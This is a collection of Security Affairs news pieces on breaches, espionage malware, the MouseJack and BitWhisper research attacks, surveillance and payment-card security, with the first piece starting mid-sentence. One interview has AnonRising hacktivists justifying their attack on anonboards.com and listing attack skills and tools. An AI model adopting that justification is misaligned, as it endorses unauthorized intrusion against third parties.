reported to Ars., Analyzing the distribution of targeted industries it is possible to note that Regin was used to compromise Telecom Backbone in 28 percent of the attacks, the experts believe that the operators managing the cyber espionage campaign were interested to spy on specific customers of the targeted companies., , , The infections of Backdoor Regin detected by Symantec are also geographically diverse, attacks were observed in mainly in ten different countries, Russian Federation (28%), Saudi Arabia (24%), Ireland (9%) and Mexico (9%) lead the list., The investigation is still ongoing, researchers at Symantec are aware of only about 100 infections, but a so powerful platform was surely used in a larger number of targeted attacks still uncovered. The researchers haven’t yet identified the command and control servers the attackers used, the knowledge of the control infrastructure provides to the experts a huge quantity of data that could support further analysis., “Symantec believes that many components of Regin remain undiscovered and additional functionality and versions may exist. Additional analysis continues and Symantec will post any updates on future discoveries” states the post., Stay tuned for further information., Pierluigi Paganini, (Security Affairs – Backdoor Regin, cyber espionage) |
5812_64236 | The independent security analyst Randy Abrams discovered an Equifax service set up for obtaining free and discounted credit reports had been redirecting users to websites offering a fake Flash Player installer., “As I tried to find my credit report on the Equifax website I clicked on an Equifax link and was redirected to a malicious URL. The URL brought up one of the ubiquitous fake Flash Player Update screens.” Abrams said in a blog post., , Crooks redirected users to the website used to serve adware and scams, the browsing session was taken through multiple domains before the final landing page was reached., , , The compromised Equifax webpage (aa.econsumer.equifax.com) was promptly sanitized by the company., Crooks were redirecting users depending on the type of device and their geographical location, for example, both Android and iOS users were served with fake updates, premium SMS services, and other fraudulent sites., The company confirmed the problem affected credit report assistance link on its website., “We are aware of the situation,” a spokesman said. “Our IT and Security teams are looking into this matter, and out of an abundance of caution have temporarily taken this page offline.”, , What’s happened?, It seems that Equifax wasn’t hacked again, but the hack occurred with a third-party ad network or analytics provider which is the root cause of the redirect., The hypothesis was confirmed by the security researcher Kevin Beaumont that blamed a third-party ad network or analytics provider for the redirects., Looked into this briefly at lunch. Looks like Equifax use SDK by @ironSource, who maybe are delivering malvertising — Gossi The Porg (@GossiTheDog) October 12, 2017, , A few days ago, Equifax announced that additional 2.5 million U.S. consumers were exposed as a result of the massive data breach that affected the company in September. The credit reporting agency confirmed that a total of 145.5 million individuals have been exposed, hackers accessed names, social security numbers, dates of birth, addresses and, in some cases, driver’s license numbers and credit card numbers., Pierluigi Paganini, (Security Affairs – cybercrime, malvertising) |
4252_51290 | Here we are again to discuss a new data breach that exposed million user records of the advertising ClixSense service. ClixSense allows its clients to earn money online by paying surveys, free offers and paid per click advertising., The popular security expert Troy Hunt who operates the breach notification service HaveIBeenPwned reported the ClixSense data breach that compromised at least 6.6 million user records, 2.4 million of which are already public., The stolen data includes names, usernames, email addresses, passwords stored in plain text, account balances, dates of birth, payment information and IP addresses., “In September 2016, the paid-to-click site ClixSense suffered a data breach which exposed 2.4 million subscriber identities. The breached data was then posted online by the attackers who claimed it was a subset of a larger data breach totalling 6.6 million records. The leaked data was extensive and included names, physical, email and IP addresses, genders and birth dates, account balances and passwords stored as plain text., Compromised data: Account balances, Dates of birth, Email addresses, Genders, IP addresses, Names, Passwords, Payment histories, Payment methods, Physical addresses, Usernames, Website activity” wrote Hunt., , The company has confirmed the incident and reported a successful cyber attack that allowed hackers to gain access to its database server. It seems that attackers reached the database server with a lateral movement from an old server that had still been connected to it., “It has come to our attention that this hacker did get access to our database server for a short period of time. He was able to gain access to this not directly but instead through an old server we were no longer using that had a connection to our database server. (This server has since been terminated).” reads the advisory published by the company. reads the official statement issued by the company., “He was able to copy most if not all of our users table, he ran some SQL code that changed the names on accounts to “hacked account” and deleted many forum posts. He also set user balances to $0.00.”, The hackers were able to alter data in the archive, including account names and user balance that was set to zero, anyway the company informed to have restored the balance., “We were able to restore the user balances, forum and many account names. Some of you were asked to fill out your name again as we did not want to restore this from our backup due to the amount of time it would have taken to get back online,” reads the statement. , In response to the incident, ClixSense has shut down the breached server, it has partially restored the backup, passwords have been reset and users have been advised to change their passwords., The hackers published a post on Pastebin to announce the data breach and confirmed he had access to 6,606,008 user records in the database and the complete source code for the ClixSense website. According to the hackers, they released online a data sample after the ClixSense company initially denied being breached., Let me close with a list of the most recent data breach, that flooded the criminal underground with hundred million credentials:, Pierluigi Paganini, (Security Affairs – Data breach, ClixSense ) |
3418_44765 | A bogus wireless computer mice and keyboards can be used by threat actors to compromise laptops from up to 100 metres away. The experts demonstrated that the attack, called mousejack attack, is possible using the portable peripherals manufactured by at least seven big vendors including Amazon, HP, Lenovo, Logitech, and Microsoft., “MouseJack is a class of vulnerabilities that affects the vast majority of wireless, non-Bluetooth keyboards and mice. These peripherals are ‘connected’ to a host computer using a radio transceiver, commonly a small USB dongle. Since the connection is wireless, and mouse movements and keystrokes are sent over the air, it is possible to compromise a victim’s computer by transmitting specially-crafted radio signals using a device which costs as little as $15.” states the website managed by Bastille on the mousejack attack., The researchers discovered that communications between a non-Bluetooth port and mouse are often insecure, data are in fact transmitted in clear text., “Conversely, none of the mice that were tested encrypt their wireless communications. This means that there is no authentication mechanism, and the dongle is unable to distinguish between packets transmitted by a mouse, and those transmitted by an attacker. As a result, an attacker is able to pretend to be a mouse and transmit their own movement/click packets to a dongle.” wrote Marc Newlin., An attacker can exploit vulnerable devices to deploy the exploit code and tricks that researchers have developed and published on the GitHub repository. It is important to highlight that attackers need to be in the nearby of the victims in order to launch the mousejack attack., Less than US$15 of hardware are enough to mount the attack against 13 mice and keyboards, the experts at Bastille company already reported the security issued to respective vendors, and in same cases they have already released a security patch. The vulnerabilities include mouse and keyboard spoofing, keystroke injection, and forced pairing., , “Problems in the way the dongles process received packets make it possible for an attacker to transmit specially crafted packets which generate keypresses instead of mouse movement/clicks.” continues the post., The experts at Bastille discovered that the vulnerability affects the popular nRF24L series of transceivers produced by the Nordic Semiconductor which is used by vulnerable devices. The experts used the nRF24L transceiver for their proof-of-concept, they started with an existing homebrew project that housed the nRF24L transceiver within an old-school Nintendo game controller., , “The nRF24L chips do not officially support packet sniffing, but Travis Goodspeed documented1 a pseudo-promiscuous mode in 2011 which makes it possible to sniff a subset of packets being transmitted by other devices. This enables the NES controller to passively identify wireless mice and keyboards without the need for an SDR.The NES controller proved to be an excellent platform for learning about the behavior of mouse communication protocols. As opposed to passively collecting data, the NES controller translates d-pad arrows into mouse movement packets, and A/B buttons into left and right clicks. In order to achieve a smooth user experience, it was necessary to create a model of the packet timing and specific behavior expected by the dongle.”, The researchers also demonstrated the hack by using another tool that relies on a few lines of Python code for packet sniffing and injection woven into an amplified USB CrazyRadio dongle ($15-$30) which included fuzzing capabilities., “The Crazyflie3 is an open source drone which is controlled with an amplified nRF24L-based USB dongle called the Crazyradio PA4. This is equivalent to an amplified version of the USB dongles commonly used with wireless mice and keyboards. Modifying the Crazyradio PA firmware to include support for pseudo-promiscuous mode made it possible to distill the packet sniffing and injection functionality down to a minimal amount of Python code.”, , The attack could allow an attacker within 100 meters range to intercept the radio signal between the dongle plugged into the targeted computer and the mouse. The attacker can send packets that generate keystrokes instead of mouse clicks or force the victim PC to visit a malicious server., During the tests, experts from Bastille were able to generate 1000 words/minute over the wireless connection and install a malicious Rootkit in about 10 seconds., , Let me suggest to give a look at the interesting white paper published by the researchers., Pierluigi Paganini, (Security Affairs – mousejack attack, hacking), , |
448_11531 | , People use computers at an internet cafe in Beijing, China, 13 January 2009. China has shut down a total of 92 websites since 09 January containing porn and lewd content, as part of a month-long Government campaign to ‘purify the internet’ according to state run media adding that ‘Public distribution of pornography is illegal in China.’ EPA/DIEGO AZUBEL |
7601_79615 | The Internet of Things is a remarkable benchmark in human
technological advancement. It’s in its infancy, though — and it shows., A few years ago, big box chain Target demonstrated the
potential folly of using vendors and connected technologies that hadn’t been
fully vetted yet. In 2014, the personal records of some 40 million Target
shoppers, including names and credit card numbers, were stolen by hackers.
Their way in was through the
company’s internet-connected HVAC system., Small and large businesses alike rely on the dependable
flow of finished and unfinished goods throughout the world. When it comes to
electronic products, many vendors, partners, and assembly and handling
companies help see finished devices into the hands of their end users., In other words, there are many spots along the journeys of
these products that practically invite tampering — including a particularly
insidious kind of cyberattack., Although the claims have been vociferously denied by the companies involved, including Apple and Amazon, as well as by the U.S. Department of Homeland Security, merely the rumor of secretly placed foreign microchips in Super Micro motherboards was enough to send technology companies into a tailspin. , They ramped up efforts to seal potential holes in their
security practices and ensure counterfeit or sabotaged parts don’t end up
opening a backdoor into their companies’ products., The whole of the internet sits on a perilous foundation.
Without uniform net neutrality and civility rules across or within nations, and
with abundant ways for cybercriminals to access personal and company data, it
was only a matter of time before companies added digital and internet security
to their budgets as a permanent line item., It’s not a surprise that 2019 is estimated to see more than
$124 billion spent on cybersecurity — 8.7 percent
growth over the previous year. So
many companies require nearly constant access to the internet to remain
operational and solvent. A big part of this spending will go toward security
talent acquisition, which will also see the addition of
many more masters-level courses in IT
architecture and cybersecurity., For several years, conventional wisdom said small
businesses were either easy pickings, cybersecurity-wise, or off
cybercriminals’ radars, since larger corporations represented more lucrative
targets. We’ve been half right. In 2016, more than 60
percent of attacks targeted small businesses. Small
businesses might be easy pickings, but they’re definitely not off anybody’s
radar., 2019 will probably see a kind of democratization of
cybersecurity. It’s likely that the cost of hiring outside security consulting
and applying enterprise-level security to a company will fall far enough that
corporations and small businesses alike will end up using many
of the same security tools in 2019 and beyond., In the third quarter of 2018, DDoS attacks increased in
frequency by 71 percent over
the previous quarter. This bodes ill for 2019., Whether undertaken by a foreign actor or a group of
domestic hacktivists, it’s likely that Dyn and other companies that oversee our
internet infrastructure will continue to see attempts to cripple the internet. , When Amazon Web Services goes down, so do many of the
web’s most popular websites. When Dyn was attacked
in 2016, it took down not just Amazon, but also Twitter, Netflix,
CNN and a host of other digital properties that millions rely on daily. This is
a precariously balanced and questionably concentrated amount of power., Although some forms of biometric technology can be fallible
under the right circumstances, they’re a generally more robust form of security
than many others, including passwords. , 2019 will continue to see the proliferation of fingerprint
scanners, iris scanners and authentication cameras built into personal and
commercial workstations, tablets, notebooks and smartphones. , Thanks to this convenience, 2019 and beyond will see us
inch toward a major benchmark in mobile contactless payments made via
smartphone: 2023 could see as much as $1.67 trillion
change hands in this way., Hackers tend to look for the path of least resistance when
it comes to getting access to sensitive records and data. According to
Kaspersky Lab, more than 120,000 individual pieces of malware were deployed
against IoT devices in just the first
half of 2018. , This is three times the number of similar attacks in the
entire previous year. The best advice is to purchase IoT devices that have been on
the market long enough to see multiple hardware and software
iterations. The same goes for vendors: look for established IT and SaaS
companies with real-world security credibility., The U.S. received a sort of digital comeuppance in 2016.
After decades of interfering with other countries’ elections, the 2016
presidential election famously featured the online
manipulation of voter sentiments, at both
extremes of American politics, by foreign actors — and potentially by some
domestic ones, too., American hegemony has long been taken for granted, but
we’ve been caught flat-footed by novel types of digital attacks. This cyber
warfare will likely become the heir apparent to overt warfare — and the next
likely step in cold wars between major powers. , Many power stations in the U.S. appear vulnerable
to attacks from foreign actors, and recent world
history — like the 2015
events in Ukraine — reveal just how easy it is to
demoralize a population by switching off their power a few days before a
national holiday., 2019 is widely expected to be the year the Securities and
Exchange Commission gets serious about regulating cryptocurrency companies.
Some voices within the crypto community expect the SEC to keep approving
initial coin offerings (ICOs) as well as crypto exchanges so long as the parties
involved can demonstrate some
minimum level of security-mindedness. , Some will see the regulation of cryptocurrencies as an
assault on what makes this type of currency unique and timely. Others will
welcome partnership with governing bodies in keeping the major players honest., One way or another, cybersecurity will remain a top-of-mind concern for each of us, well into 2019 and beyond., Kayla Matthews is a technology and cybersecurity writer, and the owner of ProductivityBytes.com. To learn more about Kayla and her re, Pierluigi Paganini, (Security Affairs – 2019 Cybersecurity predictions, cyberattacks) |
2098_35298 | According researchers at the Ben Gurion University in Israel, by detecting the heat from one computer to an adjacent computer, is possible to establish a channel that can claiming can facilitate the spread of keys, malicious code and more in general any kind of data., This sort of bridge between the two computers was dubbed BitWhisper by the researchers that demonstrated how to exploit it to transfer information between the two air-gapped systems. The channel relies on something so called “thermal pings,” a term used by the researchers to identify the repeated fusion of two networks via proximity and heat., The BitWhisper attack is very complex, but it is very interesting because it doesn’t require any dedicated or modified hardware., , The researchers involved in the experiment are Researchers Mordechai Guri, Matan Munitz and the professor Yuval Elovici, the three experts plan to publish a paper, entitled “BitWhisper: Covert Signaling Channel between Air-Gapped Computers Using Thermal Manipulations,” describing the BitWhisper technique and findings of their experiment., “At this stage, the attacker can communicate with the formerly isolated network, issuing commands and receiving responses,” states the report., The researchers placed two computers at up to 15 inches from each other, they tried to transmit up to 8 bits of data per hour, an amount of information that could be enough to steal sensitive data like user’s credentials and secret keys, or to send commands to any agent listening on the target machine., An Air-gapped network still represent a stringent security measure when it is necessary to isolate a system from the Internet to preserve it and the data it manages, typical applications are military networks and industrial control systems architectures., Unfortunately a persistent attacker could by pass the security measure in different ways, by infecting a network with a USB key, like happened to the Stuxnet virus or the Fanny tool used by the Equation Group APT)., On October 2014, Israeli researchers demonstrated how to hack air gapped networks by using other techniques. One research relied on an all-in-one printer, complete with a built-in scanner, to infiltrate an air-gapped network, or a system, and steal sensitive data. The experts demonstrated that it is possible to compromise air-gapped networks controlling the malware with a long-distance laser which could be installed on a drone., Early 2014, a group of researcher at Ben Gurion University demonstrated how to infect machines in air gapped networks through a cell phone and use the mobile device as an attack vector to hit the computer in the vicinity., The BitWhisper bridge allows to establish a bidirectional communication channel between two computers by using the heat emitted by various internal components. The experts explained that in order to compromise the machine it is sufficient to infect the machine in the air-gappep network with a malware., “BitWhisper provides a feasible covert channel, suitable for delivering command and control (C&C) messages, and leaking short chunks of sensitive data such as passwords,” continues the paper. , In their experimental scenario, the researchers placed two computers parallel to each, one of the machines was connected to the Internet and the other was connected to the air-gapped network., Hypothesizing that a malicious code was installed on both computers, on sender-end the heat generated by internal component workload (i.e. CPU, GPU) is transferred to the recipient which monitors the changes in temperature., “BitWhisper establishes a covert channel by emitting heat from one PC to the other in a controlled manner. By regulating the heating patterns, binary data is modulated into thermal signals. In turn, the adjacent PC uses its built-in thermal sensors to measure the environmental changes. These changes are then sampled, processed, and demodulated into binary data,” explained the researchers., Below the BitWhisper video proof of concept., , , Pierluigi Paganini, (Security Affairs – BitWhisper, air-gapped network) |
572_13812 | Recently hackers have intensified the number of attacks against corporate social media accounts, the Twitter account is most targeted ones due the high interest of businesses in this comfortable communication channel., Various the companies that have recently been hacked on Twitter including 60 Minutes, 48 Hours and a Denver news affiliate, The New York Times, The Wall Street Journal, The Washington Post, Burger King and the Jeep car company … and the list is not ended., Last Tuesday hackers compromised the Associated Press Twitter account and posted a fake news about two explosions at the White house and discussing the news that President Obama was injured., , The news has obviously sparked great dismay, especially for the emotional wave of recent attacks in the Boston Marathon, fortunately immediately came the denial, Twitter promptly suspended the account and Julie Pace, chief White House correspondent for the AP, announced that the news was not real and consequence of account hack., But few minutes were enough to influence, even if temporarily, the indexes of the Dow Jones, we live in the digital age and this is proof of the power of information., Who has hacked the account?, The Syrian Electronic Army claimed responsibility for the attack with the following message, ”RT @official_sea6: Ops! @AP get owned by Syrian Electronic Army! #SEA #Syria #ByeByeObama pic.twitter.com/uHbfbIOItr”, The group is not new to this type of attacks, last year it hacked social media account of the news agency Al Arabia to spread bogus news on explosion in Qatar., , , , How to hack a social media account?, There are various ways to compromise an account such as:, Of course the implementation of a strong authentication could solve the problem, that’s the way some of the principal web service provider, such as email providers, has started to implement it. In this case the attackers need more that credential knowledge, typically he also needs to own a “token” that could be software or hardware to access to the services., The recent incidents confirms Twitter needs a stronger authentication process, at least for big companies and most popular accounts., I hope similar events do not recur again …, Pierluigi Paganini, (Security Affairs – Hacking) |
1305_26273 | The energy industry is under attack, more than one thousand companies in Europe and North America are constantly under attack., ICS/SCADA systems are privileged targets of state-sponsored hackers and cyber criminals, last week I wrote of the discovery made by security experts from F-Secure which detected a variant of Havex targeting critical infrastructure., The attackers conducted watering-hole attacks compromising ICS vendor website, the SCADA vendors targeted by the Havex campaign are based in Germany, Switzerland and Belgium, two of them are suppliers of remote management software for ICS systems and the third one develops high-precision industrial cameras and related software., Security experts at Symantec discovered a new campaign targeting organization located in the US, Italy, France, Spain, Germany, Turkey, and Poland, the researcher dubbed the bad actors behind the attacks the “Dragonfly” gang., , The Dragonfly group, also known by other vendors as Energetic Bear, seems to be operating since at least 2011 when it targeted defense and aviation companies in the US and Canada. Only in a second phase Dragonfly has focused its effort on US and European energy firms in early 2013., Symantec has immediately informed the victims and national authorities, including Computer Emergency Response Centers (CERTs)., “The attackers, known to Symantec as Dragonfly, managed to compromise a number of strategically important organizations for spying purposes and, if they had used the sabotage capabilities open to them, could have caused damage or disruption to energy supplies in affected countries.” states a blog post from Symantec., Dragonfly gang hit energy grid operators, major electricity generation firms, petroleum pipeline operators, and energy industry industrial equipment providers with cyber espionage campaign., The gang could count on different attack vectors, including watering hole attacks, spear-phishing emails and trojanized ICS software updates like the case of Havex RAT., According to Symantec, the Dragonfly gang is well resourced, it can count on numerous malicious tools to conduct its campaign, the two main malware tools used by attackers are the Backdoor.Oldrea and the Trojan.Karagany. , “Its most ambitious attack campaign saw it compromise a number of industrial control system (ICS) equipment providers, infecting their software with a remote access-type Trojan. This caused companies to install the malware when downloading software updates for computers running ICS equipment. These infections not only gave the attackers a beachhead in the targeted organizations’ networks, but also gave them the means to mount sabotage operations against infected ICS computers.” states Symantec., Differently from the popular Stuxnet virus which was primarily designed for sabotage purpose, the malware used by Dragonfly gangs were designed to allow espionage and persistent access to the targeted systems., Also in this case the attackers are mainly interested to data exfiltration from targeted industrial systems, the motivation for such attacks is still unclear, but the Symantec team suspects that behind Dragonfly there are state sponsored hackers., I fear that these cases represent only the tip of the iceberg, many attacks to date have not yet been identified, while the number of attacks is likely to increase., Pierluigi Paganini, (Security Affairs – SCADA, Dragonfly) |
3349_44279 | On Friday, the commission of the United Nation decided that Julian Assange is being illegally detained since his arrest in London over four years ago., Assange has been residing in the embassy since 2012 to avoid extradition, the popular journalist is facing sexual assault allegations in Sweden, meanwhile, the United States ask him to respond the accusation of cyber espionage for publishing classified US military and diplomat documents., Julian Assange filed a complaint against the United Kingdom and Sweden governments in September 2014 that has been analyzed by the United Nations Working Group on Arbitrary Detention., The UN group has ruled that the UK and Swedish authorities have violated the international human rights obligations illegally detaining Assange., The Opinion of the UN Working Group on Arbitrary Detention on Julian #Assange is here: pic.twitter.com/ySdwLpEwk4, — UN Geneva (@UNGeneva) 6 Febbraio 2016, , Julian Assange should be immediately released, the authorities have to allow him to leave the Ecuadorian embassy. The UN Working Group on Arbitrary Detention also requests that both the UK and Sweden should compensate Julian Assange for his “deprivation of liberty.”, “Having concluded that there was a continuous deprivation of liberty, the Working Group also found that the detention was arbitrary because he was held in isolation during the first stage of detention and because of the lack of diligence by the Swedish Prosecutor in its investigations, which resulted in the lengthy detention of Mr. Assange,” reads the UN report., Unfortunately, UK and Sweden seems no accept the decision of the UN and they will not let Assange leave the country., , Anna Ekberg, spokesperson for the Swedish foreign ministry, said: “The UN working group on arbitrary detention has concluded that Mr Assange is arbitrarily detained. The working group’s view differs from that of the Swedish authorities. We will forward a reply to the working group tomorrow. It will be more clear tomorrow why we reject the working group’s conclusions.”, The UK Foreign Office Secretary Philip Hammond defined the decision of the UN panel as “ridiculous”, he also defined Julian Assange a “fugitive from justice.”, “If WGAD issues a positive determination, Mr. Assange expects the United Kingdom and Sweden to ensure that he can immediately exercise his right to personal liberty, in a manner which is consistent with his right to safety and protection from retaliatory acts associated with his groundbreaking work at WikiLeaks in exposing government violations and abuses,” Taylor told Newsweek., Pierluigi Paganini, (Security Affairs – Julian Assange, UN Panel) |
3631_46467 | In-Q-Tel, the CIA’s venture capital firm, has been pursuing various new technologies, including artificial intelligence for data mining, computer algorithms that can detect insider threats and robots which are able to seize delicate objects. This is according to a document The Intercept recently gained access to., Of particular significance, however, is the research being conducted in the area of social media data mining and surveillance. In-Q-Tel’s portfolio includes an assortment of tech companies which aspire to delve further into this arena:, The CIA’s investments reveal a pattern, which demonstrates the agency’s elevated push towards monitoring social media platforms. At least part of the focus is on ISIS’ extensive use of social media for spreading propaganda, recruiting and other activities., As an indication of just how engaged the CIA is in this pursuit:, “The latest round of In-Q-Tel investments comes as the CIA has revamped its outreach to Silicon Valley, establishing a new wing, the Directorate of Digital Innovation, which is tasked with developing and deploying cutting-edge solutions by directly engaging the private sector. The directorate is working closely with In-Q-Tel to integrate the latest technology into agency-wide intelligence capabilities.” states The Intercept., “Over the last decade, In-Q-Tel has made a number of public investments in companies that specialize in scanning large sets of online data. In 2009, the fund partnered with Visible Technologies, which specializes in reputation management over the internet by identifying the influence of ‘positive’ and ‘negative’ authors on a range of platforms for a given subject. And six years ago, In-Q-Tel formed partnerships with NetBase, another social media analysis firm that touts its ability to scan ‘billions of sources in public and private online information,’ and Recorded Future, a firm that monitors the web to predict events in the future.”, Additionally, In-Q-Tel has established a unique technology laboratory known as Lab41. Based in Silicon Valley, it was designed to provide tools for the intelligence community to “connect the dots” in large data sets., It should be noted that this particular CIA-backed surveillance technology is also being used by domestic law enforcement agencies and the private sector in order to spy on individuals, such as activists., Interestingly, “Palantir, one of In-Q-Tel’s earliest investments in the social media analytics realm, was exposed in 2011 by the hacker group LulzSec to be in negotiation for a proposal to track labor union activists and other critics of the U.S. Chamber of Commerce, the largest business lobbying group in Washington. The company, now celebrated as a ‘tech unicorn’ — a term for start-ups that reach over $1 billion in valuation — distanced itself from the plan after it was exposed in a cache of leaked emails from the now-defunct firm HBGary Federal.”, Source: The Atlantic.com, News of continuing surveillance, involving the government, has always made a lot of people uneasy–in particular, civil liberties advocates. Mass surveillance always brings into question Fourth Amendment constitutional issues. And, the CIA’s investment endeavours, involving monitoring social media, are really just the tip of the iceberg., As was recently reported in Security Affairs, the CIA has also waded into the health and beauty market with its funding of a new line of skincare products that would enable them to collect DNA. Clearista is a product line that markets itself as a “formula so you can feel confident and beautiful in your skin’s most natural state.” But, the CIA is far less interested in how you look after using these products than in the ability of the Clearista product to remove a thin outer layer of skin that could allow investigators to obtain unique biomarkers that can be used for DNA collection., The CIA is not alone in its quest to expand its surveillance capabilities. Police departments across the country have been using Beware, an application developed by Intrado, which crawls billions of records in public and commercial databases. It searches for criminal records, Internet chatter and other data. The Beware algorithms then calculate a threat rating score which is assigned to an individual and that information is sent to the requesting law-enforcement officer. It is not, however, foolproof and misinformation can be generated which could be used against an individual., The FBI has also acquired specialized surveillance software, having purchased SocioSpyder, an application for extracting information from social media sites. According to the product’s website, it “can be configured to collect posts, tweets, videos and chats on-demand or autonomously into a relational, searchable and graphable database.” SocioSpyder was developed by Allied Associates International, a U.S.-based contractor which has government and military and private companies as clientele. SocioSpyder is essentially a pre-configured web scraper for social media., And, just in case the government misses something, in its far-reaching surveillance, an anti-encryption bill has been drafted in the Senate by Senators Richard Burr and Dianne Feinstein, following the death of an anti-encryption bill in California’s General Assembly last week. The bill, titled the Compliance with Court Orders Act of 2016, would require tech firms to decrypt customers’ data at a court’s request., Add to that, the ruling by the Sixth Circuit Court of Appeals, which recently ruled that warrantless collection of cellphone location data is constitutional., Privacy advocates have expressed concern over these new developments involving the government, technology and civil liberties. In particular, apprehension has been expressed in regard to the automated judgments that software targeting social media uses. Lee Rowland, a senior staff attorney with the American Civil Liberties Union commented that, “when you have private companies deciding which algorithms get you a so-called threat score, or make you a person of interest, there’s obviously room for targeting people based on viewpoints or even unlawfully targeting people based on race or religion.” She also warned that a dangerous trend has begun with government relying on tech companies to “build massive dossiers on people” using “nothing but constitutionally protected speech.”, Written by: Sneacker , Author Bio: Sneacker is a writer who works in the information technology field. She is a member of GhostSec, a counterterrorism unit within the Anonymous collective, and participant in #OpISIS., , Edited by Pierluigi Paganini, (Security Affairs – social media surveillance, CIA) |
4225_51067 | , Enjoy the interview, You and your AnonRising IRC team are talented hackers that have already participated in several hacking campaigns, could you tell me more about you?, We have participated in many operations list is below including a little bit about each op. OpISIS – The role we played in this was to stem them, Could you tell me which his your technical background and when you started hacking? , With us providing the AnonRising IRC network there are many users with varied skills thus allowing us to be diverse in the way we gather and exploit our targets. Anonymous has always been about the unity we are not all hackers and coders some are here to assist in language translation, Linux Os support, video editing more listed below., SQLI, XXS, DDOS, XST, Python, C++, C, Perl, PHP, HTML, CSS, FLASH. As for when we started I would rather answer for the network and say that some of us have been around for a very long time. Others are here that are just learning but we feel it is important to share skills and knowledge both within and outside of the IRC network., Which are your motivations? , Our greatest challenge at the moment is more an awareness operation in regards to AnonHQ and the profit they are making from the none profit collective some details are below and a video., AnonHQ is a business not Anonymous:, Traffic & Earnings (Estimated), What was your greatest hacking challenge? Which was your latest hack? Can you describe me it? , Our latest attack via RisingSquad Team was on anonboards.com who also sell and profit from the name Anonymous. Again our goal here is to stem the cash flow to theses fake sites profiting from people who have been drawn in by their deceit to be the Anonymous headquarters and true voice of the collective. This is an ongoing operation. (We have no leaders & We do what we do for the people to get their voices heard. Most of us have daily jobs and families just like everyone else and do this for no financial gain.), What are the 4 tools that cannot be missed in the hacker’s arsenal and why? , Must have tools ZenMap,SqlMap,Metasploit,Hydra Many more but as you asked for 4., Which are the most interesting hacking communities on the web today, why? , As for communities we run a network called AnonRising so most of our time is spent here and social media platforms like twitter recommended people to follow would be. @YourAnonGlobal @YourAnonNews @h0t_p0ppy @AnonIntelGroup @AnonymousCenter @4n0nc47, We run a network called AnonRising – ( ) so most of our time is spent here., Did you participate in hacking attacks against the IS propaganda online? When? How? Where do you find IS people to hack? How do you choose your targets?, Targets are brought up and discussed via groups we do not actively look for targets they normally present them selves via the news and world current affairs. As most no Anonymous support the people and try to make them aware of things most media miss represent or cover up just like the Anonymous collective are miss represented at times by the press., We often hear about cyber weapons and cyber attacks against critical infrastructure. Do you believe it is real the risk of a major and lethal cyber attack against a critical infrastructure? Thanks a lot again, send me a picture to use as your avatar., In this current world of technology running most critical infrastructure, I am afraid yes this is a reality and could be done unless people start paying attention to network security., Theses answers are from the twitter accounts below @AnonRisingSec @AnonRisingIRC @freesecpower @BitsOfSkin, Pierluigi Paganini, (Security Affairs – Hacker, AnonRising IRC) |
2584_38936 | In July 2010 Ruwhof was looking for a web base file manager that he could use in his own web server when he came across with PHP file Manager., At the time, he found out that the product had several critical vulnerabilities that could be easily exploited., “After looking at it, I did some shocking findings which I’ll disclose in this article. This commercial off the shelf software product contains several critical security vulnerabilities that can be easily unauthenticated remotely exploited. On top of that, it even includes a poorly secured backdoor, leaving this web based file manager completely open.” states Sijmen Ruwhof., Sijmen Ruwhof tried 3 times to get in touch with Revived Wire Media( the owner of PHP file Manager) without success, so he choose to disclose the security issues to the public., , Known companies as Eneco, Nintendo, Danone, Nestle, Loreal, EON, Siemens, Vattenfall, Oracle, Oxford, Hilton, T-mobile, CBS, UPC, 3M, etc. etc. are exposed to cyber attacks because they currently are using the product., Here are some of the bugs he discovered in the PHP file Manager:, ”Password hashes stored in the user database are unsalted and are generated via the deprecated MD5 hash algorithm. Most of these hashes can be instantly reverted back to their original password via online MD5 reversing services,” Ruwhof wrote Monday in a post to Full Disclosure., Besides all this, the software doesn’t have any password policy, suffers from cross-site scripting and cross-site request forgery vulnerabilities, it’s vulnerable to brute-force attacks, and stores PHP session files in the web root., 5 years it is a lot of time, and it should be enough to fix all these vulnerabilities, anyway it is uncertain if Revived Wire Media will fix all the vulnerabilities in the future because it looks like PHP File Manager haven’t been updated in the last 4 years., Enjoy the detailed analysis published by Ruwhof., About the Author Elsio Pinto, Edited by Pierluigi Paganini, (Security Affairs – PHP File Manager, hacking) |
6380_69575 | The introduction of chip-and-PIN card technology in the United States improved in a significant way the security of merchants and has reduced payment card fraud., The cases of counterfeit fraud had dropped by 70% in September 2017 compared to December 2015 thanks to the diffusion of the diffusion in the storefronts of payment systems for EMV cards., “For merchants who have completed the chip upgrade, counterfeit fraud dollars
EMV chip cards and chip-activated merchants combat counterfeit fraud in the U.S.
December 2017 Visa Chip Card Update in September 2017 compared to December 2015″ states VISA., The process started in 2011 with the introduction of EMV (Europay, MasterCard, Visa) card technology in the United States., The process was very slow, according to Visa, by September 2015, only roughly 392,000 merchants were accepting payment card using the new technology. at the same period, the number of Visa debit and credit cards using the EMV technology was only at 159 million., Now Visa has shared data related to the adoption of the EMV technology by December 2017. The number of storefronts that currently accept payments with chip cars has reached 2.7 million in the U.S. (+570%), representing 59% of the total., , The number of Visa payment cards using EMV technology increased passed from 159 million to 481 million (202%), with 67% of Visa payment cards having chips., It is an excellent result, according to VISA Chip transactions continue to increase in the US. EMV cards accounted for 96% of the overall payment volume in the United States in December 2017, with chip payment volume reaching $78 billion., , Cybercriminals have responded to the adoption of EMV chip cards focusing their efforts on card-not-present (CNP) fraud had that is today a serious concern for merchants., Pierluigi Paganini, (Security Affairs – EMV chip cards, VISA) |
4237_51168 | Recently, the iPhone hack carried out with the NSO Group‘s Pegasus raised the debate about the use of surveillance software. Who uses them? How? Are we able to defend our machines from a so invasive surveillance?, NSO Group is just one company in a profitable market, to give you an idea of it I invite you to give a look to the Transparency Toolkit, a project that gathers open data on surveillance and human rights abuses and makes free software to examine them. The official page of the project includes tools and case studies., Hacking Team, Gamma International, NSO Group, Blue Coat, and Verint are only the first names of surveillance firms that passed in my mind while I’m writing this post, but the list is very long., These firms design solutions that are used by law enforcement and intelligence agencies during their investigations. The expensive solutions proposed by the surveillance firms allows to spy on computers and smartphones, unfortunately, their abuses in the wild are very common. Many governments used them in the past to track dissidents and oppositions, in many cases the use of surveillance solutions represented a severe violation of human rights., Despite we can read thousands of good posts on the topic, it isn’t so easy to see a live demo of surveillance systems, but the popular journalist Lorenzo Bicchierai has published an interesting post on Motherboard with the intent to show us how government spyware infects a computer., “Motherboard has obtained a never-before-seen 10-minute video showing a live demo for a spyware solution made by a little known Italian surveillance contractor called RCS Lab. Unlike Hacking Team, RCS Lab has been able to fly under the radar for years, and very little is known about its products, or its customers.” wrote Bicchierai., Motherboard published a video related to a live demo presented by an expert from the Italian 